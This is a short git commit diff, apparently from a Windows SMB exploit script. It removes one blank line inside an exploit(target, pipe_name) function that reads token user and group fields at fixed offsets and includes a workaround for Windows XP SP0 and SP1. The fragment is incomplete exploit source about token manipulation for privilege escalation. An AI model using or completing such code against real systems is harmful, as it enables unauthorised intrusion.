restore line starts
This commit is contained in:
@@ -869,7 +869,6 @@ def exploit(target, pipe_name):
|
|||||||
|
|
||||||
userAndGroupCount = unpack_from('<I', tokenData, info['TOKEN_USER_GROUP_CNT_OFFSET'])[0]
|
userAndGroupCount = unpack_from('<I', tokenData, info['TOKEN_USER_GROUP_CNT_OFFSET'])[0]
|
||||||
userAndGroupsAddr = unpack_from('<'+fmt, tokenData, info['TOKEN_USER_GROUP_ADDR_OFFSET'])[0]
|
userAndGroupsAddr = unpack_from('<'+fmt, tokenData, info['TOKEN_USER_GROUP_ADDR_OFFSET'])[0]
|
||||||
|
|
||||||
# hack to fix XP SP0 and SP1
|
# hack to fix XP SP0 and SP1
|
||||||
if info['os'] == 'WINXP' and info['arch'] == 'x86':
|
if info['os'] == 'WINXP' and info['arch'] == 'x86':
|
||||||
if userAndGroupCount > 4:
|
if userAndGroupCount > 4:
|
||||||
|
|||||||
Reference in New Issue
Block a user